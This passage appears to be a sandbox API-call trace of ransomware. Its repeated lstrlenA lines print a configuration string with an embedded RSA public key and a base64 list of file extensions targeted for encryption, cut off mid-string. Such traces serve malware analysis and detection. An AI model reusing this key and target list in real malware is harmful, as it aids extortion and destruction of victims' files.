udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA